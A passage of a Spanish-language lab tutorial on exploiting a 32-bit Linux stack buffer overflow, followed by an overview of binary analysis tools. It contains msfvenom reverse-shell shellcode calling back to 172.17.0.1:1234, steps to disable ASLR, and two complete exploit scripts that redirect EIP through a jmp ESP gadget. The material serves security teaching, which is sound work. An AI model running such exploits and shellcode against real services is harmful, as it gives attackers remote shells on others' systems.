<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FSVBrec8hGgy8EOGb5fSa%2Fejemplo_12_buffer_overflow.png?alt=media&amp;token=97079adb-ce43-4340-9e85-e2d0d4967a99" alt=""><figcaption></figcaption></figure>

En este laboratorio generaremos el shellcode con **`msfvenom`**, indicando el tipo de payload, la dirección de retorno de la conexión y el formato de salida:

```js
shellcode =  b""
shellcode += b"\xda\xce\xd9\x74\x24\xf4\x5e\xba\x33\x56\xc3"
shellcode += b"\x6e\x33\xc9\xb1\x12\x31\x56\x17\x03\x56\x17"
shellcode += b"\x83\xdd\xaa\x21\x9b\x10\x88\x51\x87\x01\x6d"
shellcode += b"\xcd\x22\xa7\xf8\x10\x02\xc1\x37\x52\xf0\x54"
shellcode += b"\x78\x6c\x3a\xe6\x31\xea\x3d\x8e\x6d\x1d\xbe"
shellcode += b"\x4f\x06\x1c\xbe\x4b\x04\xa9\x5f\xe3\xce\xfa"
shellcode += b"\xce\x50\xbc\xf8\x79\xb7\x0f\x7e\x2b\x5f\xfe"
shellcode += b"\x50\xbf\xf7\x96\x81\x10\x65\x0e\x57\x8d\x3b"
shellcode += b"\x83\xee\xb3\x0b\x28\x3c\xb3"
```

**En este caso**, el shellcode genera una **reverse shell**, es decir, una conexión saliente desde el servicio vulnerable hacia nuestra **máquina atacante**, configurada con la dirección `172.17.0.1` y el puerto `1234`. Para recibirla debe existir un listener accesible desde el contenedor o sistema objetivo.

<mark style="color:yellow;">**Opciones explicadas:**</mark>

* `-p linux/x86/shell_reverse_tcp`: selecciona un payload de **reverse shell TCP** para **Linux x86 de 32 bits**, compatible con la arquitectura del binario analizado.
* `LHOST=172.17.0.1`: establece la **dirección IP de retorno** que utilizará el shellcode para conectarse con la máquina atacante.
* `LPORT=1234`: indica el **puerto del listener** en el que esperamos recibir la conexión.
* `-b "\x00"`: solicita evitar el **byte nulo (`\x00`)** en el shellcode resultante. Es importante cuando la vulnerabilidad utiliza operaciones sobre **cadenas C terminadas en nulo**, porque ese byte podría truncar la entrada. No todas las vulnerabilidades presentan esta limitación.
* `-f py -v shellcode`: muestra el resultado en formato **Python**, con una variable llamada `shellcode`, lista para incorporarse al script.

En la salida de mi prueba se generó un **shellcode de 95 bytes**, codificado mediante **`x86/shikata_ga_nai`**. Este es un codificador polimórfico que puede transformar la representación del payload, por ejemplo para satisfacer restricciones de bytes; **no garantiza que el código sea indetectable** ni modifica el tamaño del offset calculado.

También debemos comprobar la configuración del sistema en `/proc/sys/kernel/randomize_va_space`. Para reproducir **las mismas direcciones de memoria** durante las pruebas del laboratorio, en este ejemplo se utiliza el valor `0`, que desactiva **ASLR**. Los valores `1` o `2` introducen aleatorización y pueden afectar la fiabilidad de direcciones que dependen del proceso. **No es un requisito general para estudiar Buffer Overflow y no es recomendable desactivarlo en el sistema de uso diario**.

> **ASLR (Address Space Layout Randomization)** es una mitigación que **aleatoriza determinadas direcciones de memoria** del proceso, como las correspondientes al stack, las bibliotecas compartidas y otras regiones. Su finalidad es **dificultar la predicción de direcciones** usadas por técnicas como ret2libc y ROP. No elimina la vulnerabilidad que produce el desbordamiento ni impide por sí solo todos los exploits.

<mark style="color:yellow;">Los valores posibles son:</mark>

| Valor | Nivel de aleatorización                                                                                                                                                  |
| ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `0`   | **Desactivado:** el sistema no aplica la aleatorización de direcciones gestionada por ASLR.                                                                              |
| `1`   | **Aleatorización básica:** afecta, entre otras zonas, a las regiones de `mmap`, las bibliotecas compartidas, el stack y VDSO; **no equivale a excluir las bibliotecas**. |
| `2`   | **Aleatorización ampliada:** añade también la región de heap gestionada mediante `brk` y es la configuración completa habitual en Linux.                                 |

<mark style="color:yellow;">Cómo desactivar el</mark> <mark style="color:yellow;">**ASLR**</mark><mark style="color:yellow;">:</mark>

**Desactivación temporal, solo en un entorno de laboratorio aislado:**

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2Fkwf5gkvxseKqW6SiqZDD%2Fejemplo_13_buffer_overflow.png?alt=media&amp;token=2983c3eb-173f-48fb-8c25-535fcc7e0909" alt=""><figcaption></figcaption></figure>

En el ejemplo utilizamos `sysctl` para cambiar temporalmente `kernel.randomize_va_space` a `0`. Este ajuste es **global para el sistema** mientras permanezca activo, por lo que conviene registrar el valor previo y **restaurarlo al finalizar las pruebas**:

```js
sudo sysctl -w kernel.randomize_va_space=0
```

<mark style="color:red;">**Resultado**</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FUrZPBFaFlzN2pKYF6geI%2Fejemplo_14_buffer_overflow.png?alt=media&amp;token=d2325197-1da4-49ce-9230-91c49fb90d42" alt=""><figcaption></figcaption></figure>

También es posible establecer un valor mediante `/etc/sysctl.conf`, pero **no recomiendo mantener ASLR desactivado de forma permanente**. El archivo y su contenido dependen de la distribución y del método utilizado para configurar `sysctl`:

```bash
kernel.randomize_va_space = 0
```

Después se aplicarían los valores presentes en el archivo con el siguiente comando. **Este comando no hace permanente un cambio temporal por sí solo**: necesita la configuración correspondiente en disco.

```bash
sudo sysctl -p
```

> Si el archivo de configuración no existe, puede utilizarse el mecanismo admitido por la distribución. En mi caso prefiero **hacer el cambio solo temporalmente para el laboratorio** y **volver a habilitar ASLR al terminar**, porque desactivarlo de manera permanente reduce una defensa importante del sistema.

### <mark style="color:purple;">**jmp ESP**</mark>

`jmp ESP` es una instrucción de **ensamblador x86 de 32 bits** que modifica **EIP** para saltar a la dirección contenida en el registro **ESP**. Es importante distinguir entre el **valor del registro** y la **memoria a la que apunta**: la instrucción transfiere el control a esa dirección.

* En términos simples: **salta a la dirección indicada por ESP**. Si allí hay instrucciones válidas, y la memoria tiene permiso de ejecución, el procesador podrá interpretarlas. No ejecuta automáticamente cualquier dato de la pila.

Al explotar un **Buffer Overflow**, podemos colocar un **shellcode** en el stack y controlar la dirección de retorno. Para ejecutarlo necesitamos dirigir el flujo hacia la región donde quedó el shellcode y comprobar que sus páginas permiten la ejecución de instrucciones.

🔥 **`jmp ESP` resulta útil** porque, en este laboratorio, **ESP apunta a la región donde colocamos los datos posteriores a EIP**. Si sobrescribimos EIP con la dirección de una instrucción `jmp ESP`, el procesador podrá saltar hasta la zona donde situamos el shellcode, siempre que se cumplan las condiciones de memoria.

<mark style="color:yellow;">**Pasos a seguir**</mark>

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FHrdeMZfycyWHEGm16lgl%2Fejemplo_15_buffer_overflow.png?alt=media&amp;token=a327c6f3-59b7-49a9-80cf-ab497f1300a8" alt=""><figcaption></figcaption></figure>

<mark style="color:yellow;">**Primero**</mark> <mark style="color:yellow;">-></mark> <mark style="color:yellow;">`nasm_shell.rb`</mark>

* Herramienta distribuida con **Metasploit** que permite ensamblar instrucciones y visualizar sus **opcodes**.
* Al introducir `jmp ESP` obtenemos los bytes **`FF E4`**, correspondientes al opcode de esa instrucción en **x86 de 32 bits**.
* Estos bytes sirven para **buscar una instrucción equivalente** dentro del ejecutable analizado.

<mark style="color:yellow;">**Segundo**</mark> <mark style="color:yellow;">-></mark> <mark style="color:yellow;">`objdump -D secure_software | grep "ff e4"`</mark>

* `objdump -D`: realiza el desensamblado del binario para observar instrucciones y sus bytes de código máquina.
* `grep "ff e4"`: filtra las líneas del desensamblado que contienen esos bytes, asociados a **`jmp ESP`**. Es importante **verificar el contexto de la instrucción** y no basarse únicamente en una coincidencia textual.
* En el ejemplo encontramos la dirección **`0x8049213`**, que corresponde a la instrucción `jmp ESP` localizada en el binario. Con **No PIE**, esa dirección del ejecutable principal puede permanecer estable entre ejecuciones.

En **x86 de 32 bits**, una dirección se representa con **4 bytes** y el sistema utiliza el orden **little-endian**, por lo que el byte menos significativo se coloca primero cuando escribimos esa dirección en memoria. El orden de los bytes del payload debe respetar esta representación:

* **Ejemplo:** para sobrescribir EIP con la dirección `0x08049213`, debemos colocar sus **4 bytes en orden little-endian**:
* **Dirección original**: `0x08049213` (equivalente a `0x8049213`, omitiendo el cero inicial).
* **Orden little-endian**: `"\x13\x92\x04\x08"`, con el **byte menos significativo al principio**.

<mark style="color:yellow;">🔥</mark> <mark style="color:yellow;">**¿Para qué se usa?**</mark>

* Sobrescribimos la **dirección de retorno que acaba cargándose en EIP** con la dirección de `jmp ESP`, para que el flujo salte a la región de nuestro **shellcode**, siempre que la memoria sea ejecutable. 🚀

Con el **offset de 300 bytes**, la dirección `0x08049213` en **little-endian**, un **NOP sled de 32 bytes** y el shellcode generado, podemos construir el **exploit** final del laboratorio. Mantendré el ejemplo con `socket` para mostrar explícitamente cómo se concatenan y envían los bytes:

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3

import socket

offset = 300 # Tamaño exacto antes de EIP
buffer = b"A" * offset # Relleno antes de sobrescribir EIP
eip = b"\x13\x92\x04\x08" # 8049213 -> Dirección de jmp ESP en little-endian
nops = b"\x90" * 32 # NOP sled para estabilidad

# Shellcode generado con msfvenom
shellcode =  b""
shellcode += b"\xda\xce\xd9\x74\x24\xf4\x5e\xba\x33\x56\xc3"
shellcode += b"\x6e\x33\xc9\xb1\x12\x31\x56\x17\x03\x56\x17"
shellcode += b"\x83\xdd\xaa\x21\x9b\x10\x88\x51\x87\x01\x6d"
shellcode += b"\xcd\x22\xa7\xf8\x10\x02\xc1\x37\x52\xf0\x54"
shellcode += b"\x78\x6c\x3a\xe6\x31\xea\x3d\x8e\x6d\x1d\xbe"
shellcode += b"\x4f\x06\x1c\xbe\x4b\x04\xa9\x5f\xe3\xce\xfa"
shellcode += b"\xce\x50\xbc\xf8\x79\xb7\x0f\x7e\x2b\x5f\xfe"
shellcode += b"\x50\xbf\xf7\x96\x81\x10\x65\x0e\x57\x8d\x3b"
shellcode += b"\x83\xee\xb3\x0b\x28\x3c\xb3"

# Estructura final del payload
esp = nops + shellcode # NOP sled seguido del shellcode
payload = buffer + eip + esp # Buffer final

# Envío del exploit al servicio objetivo
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 20201))
    s.send(payload)
    s.shutdown(socket.SHUT_WR)  # Asegurar envío completo
    s.close()
    print("\n[+] Payload enviado correctamente\n")
except Exception as e:
    print(f"\n[-] Error al enviar el payload: {e}\n")
```

{% endcode %}

### <mark style="color:purple;">**Explotación**</mark>

<mark style="color:red;">Explicación paso a paso:</mark>

1. <mark style="color:yellow;">**Offset (**</mark><mark style="color:yellow;">**`buffer`**</mark><mark style="color:yellow;">**)**</mark><mark style="color:yellow;">:</mark>
   * Se envían **300 bytes de "A"** (`b"A" * 300`) como relleno para alcanzar el **offset de EIP** identificado con el patrón cíclico. Este número describe la distancia hasta la sobrescritura de EIP en el ejemplo, **no necesariamente el tamaño exacto del buffer local**.
2. <mark style="color:yellow;">**Sobrescritura de**</mark><mark style="color:yellow;">**&#x20;**</mark><mark style="color:yellow;">**`EIP`**</mark><mark style="color:yellow;">:</mark>
   * Se colocan los **4 bytes** de la dirección `0x08049213` (`b"\x13\x92\x04\x08"` en **little-endian**) en la posición de la dirección de retorno que terminará controlando **EIP**.
   * Esta dirección corresponde a una instrucción **`JMP ESP`** del ejecutable, lo que nos permite redirigir el flujo hacia la dirección contenida en **ESP**, donde colocamos la siguiente parte del **payload**.
3. <mark style="color:yellow;">**NOP Sled (**</mark><mark style="color:yellow;">**`nops`**</mark><mark style="color:yellow;">**)**</mark><mark style="color:yellow;">:</mark>
   * Se agregan **32 bytes de `\x90`** (instrucciones **NOP**) antes del shellcode. Este **NOP sled** proporciona una zona de instrucciones inocuas antes de llegar al shellcode, aunque no garantiza que el payload funcione si la dirección de salto o los permisos son incorrectos.
4. <mark style="color:yellow;">**Shellcode**</mark><mark style="color:yellow;">:</mark>
   * Es una secuencia de **instrucciones de máquina** generada con `msfvenom` para realizar la acción configurada en el laboratorio, aquí una **reverse shell**. Su arquitectura debe coincidir con la del proceso vulnerable.
5. <mark style="color:yellow;">**Payload final**</mark><mark style="color:yellow;">:</mark>
   * El payload se construye concatenando los elementos **en el orden mostrado**: **300 bytes de buffer**, **4 bytes para sobrescribir EIP**, **32 bytes de NOP sled** y los bytes del **shellcode**. Mantener el orden es esencial para que el salto apunte a la carga útil.

```python
buffer (300 "A") + EIP (JMP ESP) + NOP Sled (32 bytes) + Shellcode
```

6. <mark style="color:yellow;">**Envío del exploit**</mark><mark style="color:yellow;">:</mark>
   * Se abre una conexión **TCP** con el servicio en `127.0.0.1:20201` y se envía el **payload**. Esta dirección corresponde al laboratorio local mostrado en el artículo.
   * Se utiliza `shutdown(socket.SHUT_WR)` para **indicar al extremo remoto que ya no enviaremos más datos**. Esto puede ayudar a que el servicio procese la entrada al recibir fin de escritura, pero **no garantiza por sí solo que `socket.send()` haya transmitido todos los bytes**; para garantizar el envío completo normalmente se emplearía `sendall()`. El código original se mantiene como parte de la prueba documentada.

Ahora dejamos un **listener** en el puerto **1234** y, con el binario ejecutándose en el laboratorio, lanzamos el exploit. Si las condiciones coinciden con las de la prueba y el servicio procesa la entrada correctamente, recibiremos la conexión de retorno configurada en el shellcode.

<figure><img src="https://2363760337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLXdCb8C04srrgLFNO0L%2Fuploads%2FlNqS5rcHF9fIQO5DVTpF%2Fejemplo_16_buffer_overflow.png?alt=media&amp;token=c89839f6-8f88-4ac5-98bc-e43212b11a69" alt=""><figcaption></figcaption></figure>

Con esta prueba logramos explotar el **Buffer Overflow** del laboratorio y recibir una **reverse shell**, desde la que podemos ejecutar comandos en el contexto del proceso vulnerable. Aunque aquí el servicio y el exploit se ejecutan localmente, el concepto de conexión es el mismo. También incluyo una variante con **pwntools**, donde cambia la forma de establecer la conexión y enviar el payload. En este ejemplo, `sendline()` añade un salto de línea, a diferencia de `socket.send()`, por lo que el comportamiento puede depender de cómo el servicio procese la entrada.

```python
#!/usr/bin/python3

from pwn import *

def exploit():
    host="127.0.0.1"
    port=20201

    offset = 300 # Tamaño exacto antes de EIP
    buffer = b"A" * offset # Relleno antes de sobrescribir EIP
    eip = b"\x13\x92\x04\x08" # 8049213 -> Dirección de jmp ESP en little-endian
    nops = b"\x90" * 32 # NOP sled para estabilidad

    # Shellcode generado con msfvenom
    shellcode =  b""
    shellcode += b"\xbd\xdd\x8f\x09\xfd\xdb\xd2\xd9\x74\x24\xf4"
    shellcode += b"\x58\x29\xc9\xb1\x12\x31\x68\x12\x03\x68\x12"
    shellcode += b"\x83\x1d\x8b\xeb\x08\xac\x4f\x1c\x11\x9d\x2c"
    shellcode += b"\xb0\xbc\x23\x3a\xd7\xf1\x45\xf1\x98\x61\xd0"
    shellcode += b"\xb9\xa6\x48\x62\xf0\xa1\xab\x0a\x7c\x52\x4c"
    shellcode += b"\xcb\xea\x50\x4c\xcf\x38\xdd\xad\x7f\xda\x8e"
    shellcode += b"\x7c\x2c\x90\x2c\xf6\x33\x1b\xb2\x5a\xdb\xca"
    shellcode += b"\x9c\x29\x73\x7b\xcc\xe2\xe1\x12\x9b\x1e\xb7"
    shellcode += b"\xb7\x12\x01\x87\x33\xe8\x42"

    # Estructura final del payload
    esp = nops + shellcode # NOP sled seguido del shellcode
    payload = buffer + eip + esp # Buffer final

    # Envío del exploit al servicio objetivo
    try:
        print("\n[*] Iniciando Ataque...")
        conn=remote(host,port)
        conn.sendline(payload)
        conn.close()
        print("[+] Payload enviado correctamente!!!\n")
    except Exception as e:
        print(f"\n[-] Error al enviar el payload: {e}\n")

if __name__ == '__main__':
    exploit()
```

## <mark style="color:green;">Adicionales</mark> <mark style="color:red;">-></mark> <mark style="color:green;">Para más información</mark>

### <mark style="color:purple;">**`strings`**</mark><mark style="color:purple;">**: Extraer cadenas legibles de texto**</mark>

`strings` permite extraer **secuencias de caracteres imprimibles** presentes en un archivo binario. Resulta útil para identificar mensajes, rutas, nombres y cadenas relevantes para el análisis, pero **no recupera automáticamente todas las cadenas ni interpreta la lógica del programa**.

```bash
strings nombre_del_binario
```

### <mark style="color:purple;">**`nm`**</mark><mark style="color:purple;">**: Muestra los símbolos en el binario**</mark>

`nm` muestra **símbolos** del binario, como funciones y variables, siempre que la información de símbolos correspondiente esté disponible. Puede ayudar a localizar `main`, `strcpy` u otras referencias interesantes, aunque un ejecutable **stripped** puede mostrar información más limitada.

```bash
nm nombre_del_binario
```

### <mark style="color:purple;">**`readelf`**</mark><mark style="color:purple;">**: Información detallada del formato ELF**</mark>

`readelf` permite inspeccionar la estructura de un archivo **ELF**, incluidos **encabezados, secciones, segmentos, símbolos y relocalizaciones**. Es una herramienta muy útil para comprender el formato del ejecutable sin necesidad de ponerlo en ejecución.

```bash
readelf -a nombre_del_binario
```

### <mark style="color:purple;">**`radare2`**</mark><mark style="color:purple;">**: Desensamblado, análisis y depuración**</mark>

**radare2** es un conjunto de herramientas para **análisis estático y dinámico de binarios**. Permite desensamblar, identificar funciones, consultar referencias, visualizar gráficos de flujo de control y depurar programas. Es especialmente útil para contrastar las observaciones realizadas con GDB y comprender la lógica del binario.

```bash
r2 nombre_del_binario
# En el entorno de radare2:
aa         # Analiza el binario
pdf @main  # Muestra el flujo del código en la función main
VV         # Modo visual para ver gráficos
db main    # Establecer un punto de ruptura en la función main
dc         # Ejecutar el programa hasta el punto de ruptura
```

### <mark style="color:purple;">**`Ghidra`**</mark><mark style="color:purple;">**: Descompilador y análisis profundo**</mark>

**Ghidra** es una suite de ingeniería inversa de código abierto desarrollada por la **NSA**. Su descompilador reconstruye una **representación aproximada de alto nivel**, parecida a C, a partir de las instrucciones del binario. Este pseudocódigo es una ayuda para analizar funciones, pero **no equivale necesariamente al código fuente original**.

* <mark style="color:yellow;">**Descompilación a pseudocódigo C**</mark><mark style="color:yellow;">:</mark> Ghidra muestra una representación de alto nivel de las instrucciones, lo que facilita analizar funciones complejas sin depender únicamente del ensamblador. Debemos comprobar las conclusiones con el desensamblado cuando existan dudas.
* <mark style="color:yellow;">**Análisis de estructuras de datos**</mark><mark style="color:yellow;">:</mark> Facilita la identificación de **variables, parámetros, funciones y estructuras** para comprender el flujo de datos y localizar operaciones potencialmente inseguras.

<mark style="color:red;">Para empezar con Ghidra:</mark>

1. Abre **Ghidra**, crea o selecciona un proyecto y carga el binario que quieres analizar.
2. Ejecuta el análisis y utiliza el **descompilador** para estudiar el pseudocódigo de las funciones que te interesen.
3. Examina las funciones y busca operaciones que requieran revisión, como el uso de `strcpy` sobre buffers de capacidad limitada. La presencia de una función potencialmente peligrosa **no confirma por sí sola que exista una vulnerabilidad**.

### <mark style="color:purple;">**`IDA Pro`**</mark><mark style="color:purple;">**&#x20;**</mark><mark style="color:purple;">**(o IDA Free): Desensamblador y depurador**</mark>

**IDA Pro** es una herramienta de ingeniería inversa ampliamente utilizada, centrada en el **desensamblado, el análisis de flujo de control y la depuración**, con funcionalidades que varían según la edición. **IDA Free** puede presentar limitaciones frente a la versión comercial, por lo que no debemos asumir que ambas tienen exactamente las mismas capacidades.

Si queremos observar el comportamiento real del binario durante su ejecución, inspeccionar sus registros o analizar cómo utiliza la memoria, podemos recurrir a un **depurador**, como GDB.

### <mark style="color:purple;">**`gdb`**</mark><mark style="color:purple;">**: Depurador GNU**</mark>

**GDB (GNU Debugger)** es un depurador muy utilizado en Linux para analizar programas a nivel de código y ensamblador. Permite establecer **breakpoints**, ejecutar paso a paso y examinar **registros, stack, memoria y variables**, dependiendo de la información disponible en el ejecutable.

```bash
gdb nombre_del_binario
# En el entorno de gdb:
break main      # Establecer un punto de interrupción en main
run             # Ejecutar el programa
next            # Pasar a la siguiente instrucción
info registers  # Ver el contenido de los registros
x/20x $esp      # Ver los valores en la pila
```

Con GDB podemos seguir el movimiento de los datos por el **stack** y los registros, observar un **segmentation fault** y comprobar si valores controlados por nuestra entrada han sobrescrito posiciones relevantes. Esta evidencia es fundamental para diferenciar un fallo normal de un **Buffer Overflow** con posible control de la ejecución.

### <mark style="color:purple;">**`pwndbg`**</mark><mark style="color:purple;">**: Extensión de GDB para explotación**</mark>

`pwndbg` es una extensión de **GDB** orientada a la **depuración y explotación de binarios**. Añade visualizaciones y comandos especializados para estudiar la memoria, los registros, las instrucciones y las estructuras de interés durante una prueba de Buffer Overflow.

<mark style="color:red;">Para instalarlo y usarlo:</mark>

```bash
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
```

Después de completar la instalación, podemos abrir el binario en GDB y utilizar los comandos y paneles que proporciona `pwndbg`. **El procedimiento de instalación puede cambiar entre versiones**, por lo que conviene consultar la documentación oficial si alguno de los comandos mostrados deja de estar disponible.

### <mark style="color:purple;">**`gef`**</mark><mark style="color:purple;">**&#x20;**</mark><mark style="color:purple;">**(GDB Enhanced Features): Depurador mejorado**</mark>

> **GEF es la extensión que utilizo en este laboratorio** para analizar los registros, calcular el offset y comprobar la sobrescritura de EIP.

**GEF (GDB Enhanced Features)** es otra extensión para GDB que facilita la **depuración de binarios** con vistas adicionales del stack, registros, memoria y funciones de apoyo al análisis de vulnerabilidades. En esta demostración utilizamos especialmente sus comandos para generar y analizar patrones cíclicos.

<mark style="color:red;">Para instalarlo y usarlo:</mark>

```bash
git clone https://github.com/hugsy/gef.git
echo "source /ruta/a/gef.py" >> ~/.gdbinit
```

Con `gef` podemos inspeccionar el estado de la memoria y determinar dónde ocurrió la sobrescritura. En este ejemplo nos permitió identificar el **offset de 300 bytes**, confirmar el control de **EIP** con `0x42424242` y observar los datos señalados por **ESP**.
